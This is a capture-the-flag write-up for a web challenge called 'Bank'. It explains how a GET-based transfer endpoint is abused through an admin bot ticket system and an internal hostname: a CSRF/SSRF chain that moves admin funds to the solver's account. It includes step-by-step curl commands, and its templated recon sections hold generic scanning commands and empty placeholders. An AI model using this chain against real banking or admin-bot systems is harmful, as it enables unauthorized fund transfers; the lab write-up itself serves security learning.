Bank
Bank
Platform: Spfctf | Category: Web | Type: Challenge | Difficulty: Easy | OS: NA | Author: D3v0o0Nu11 | Date: 2026-03-15 | Status: Solved Techniques: admin_bot_exploitation, csrf_via_get_transfer, ssrf_internal_hostname
Summary
Task: Bank web app with cashback program. Solution: Exploit GET-based transfer endpoint via CSRF through admin bot ticket system, using internal hostname from API docs to trigger SSRF and transfer funds to unlock cashback with flag.
Recon
Port scan
bash read-only • copy allowednmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
| Port | Service | Version | Notes |
|---|---|---|---|
| <PORT> | <SVC> | <VER> | <notes> |
Enumeration highlights
- Event:
spfctf| ID:20260315_spfctf_bank - Tags: ssrf, jwt, api, csrf, admin_bot, swagger, internal_hostname
- Indicators: GET-based transfer endpoint, ticket system with URL parameter, internal hostname in API docs, admin bot visits submitted URLs
- Source:
20260315_spfctf_bank.md
Foothold
Vulnerability / Misconfiguration
- admin_bot_exploitation
- csrf_via_get_transfer
- ssrf_internal_hostname
bash read-only • copy allowed<command>
Exploitation
- See original writeup content for detailed exploitation.
Privilege Escalation
Enumeration
bash read-only • copy allowedsudo -l find / -perm -4000 2>/dev/null getcap -r / 2>/dev/null cat /etc/crontab ps aux
Exploitation
- N/A for challenge-type writeup; see exploitation above.
- Flag obtained via challenge solve.
bash read-only • copy allowed<command>
Flags
| Flag | Location | Value |
|---|---|---|
| flag | REDACTED |
Key Takeaways / Lessons
- admin_bot_exploitation
- csrf_via_get_transfer
- ssrf_internal_hostname
- Tags: ssrf, jwt, api, csrf, admin_bot, swagger, internal_hostname
Original Writeup
<details><summary>Click to expand original content</summary>Description
Check out new cashback program! https://bank.2537ly.space/docs/
Analysis
Reconnaissance
Swagger UI at https://bank.2537ly.space/docs/ documents the "Transparent bank" API (v0.0.2) with description "Blockchain based and API powered bank. Server internally at http://bank:3000".
API endpoints:
POST /api/signup— registration (username, password)POST /api/login— login, returns JWT in cookiesessionGET /api/me— balance. Description: "Cashback is available when balance > 100"GET /api/transfer— money transfer (query params:to,amount). GET-based!POST /api/ticket— ticket to admin (body:problem,url— "URL where error happened")
Key Observations
After registration and login:
/api/me:{"cashback": false, "username": "testuser_ctf123", "password": "testpass123", "balance": "0"}/api/transfer:{"error": "Transfers are available for admin only"}— only admin can transfer/api/ticketaccepts a URL that the admin bot visits- API description reveals internal hostname:
http://bank:3000 - Transfer endpoint uses GET method — trivially exploitable via CSRF
- Security headers:
x-frame-options: DENY,x-xss-protection: 1; mode=block,x-content-type-options: nosniff
Attack Vector: SSRF/CSRF via Ticket System
Attack chain:
- Register an account and log in
- Submit a ticket with URL to internal transfer endpoint:
http://bank:3000/api/transfer?to=testuser_ctf123&amount=200 - Admin bot visits this URL with its session, executing transfer to our account
- Balance becomes 200 (> 100), unlocking cashback with the flag
Solution
bash read-only • copy allowed# Step 1: Sign up curl -s -X POST https://bank.2537ly.space/api/signup \ -H 'Content-Type: application/json' \ -d '{"username":"testuser_ctf123","password":"testpass123"}' # Response: {"success":true} # Step 2: Login (get session JWT cookie) curl -sv -X POST https://bank.2537ly.space/api/login \ -H 'Content-Type: application/json' \ -d '{"username":"testuser_ctf123","password":"testpass123"}' # Response: set-cookie: session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9... SESSION="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InRlc3R1c2VyX2N0ZjEyMyIsImlhdCI6MTc3MzU5ODU3OX0.EdUUGeWuN7ugkiWTIE895f38CX6fS8rxfuzsOHuObTg" # Step 3: Submit ticket with CSRF URL targeting internal transfer endpoint curl -s -X POST -b "session=$SESSION" https://bank.2537ly.space/api/ticket \ -H 'Content-Type: application/json' \ -d '{"problem":"test","url":"http://bank:3000/api/transfer?to=testuser_ctf123&amount=200"}' # Response: {"success":[[null,"OK"],[null,1]]} # Step 4: Wait for admin bot, then check balance sleep 5 curl -s -b "session=$SESSION" https://bank.2537ly.space/api/me # Response: {"cashback":"spbctf{REDACTED}","username":"testuser_ctf123","password":"testpass123","balance":"200"}
Why This Works
- Transfer endpoint uses GET method without CSRF protection — trivially triggered by visiting a URL
- Ticket system acts as an admin bot that visits arbitrary URLs with admin's session
- API description reveals internal hostname (
http://bank:3000), allowing SSRF to bypass external restrictions - Admin has funds, transfer succeeds, crediting our account
- When balance > 100, the
/api/meendpoint reveals the flag in thecashbackfield
signed by XESXOR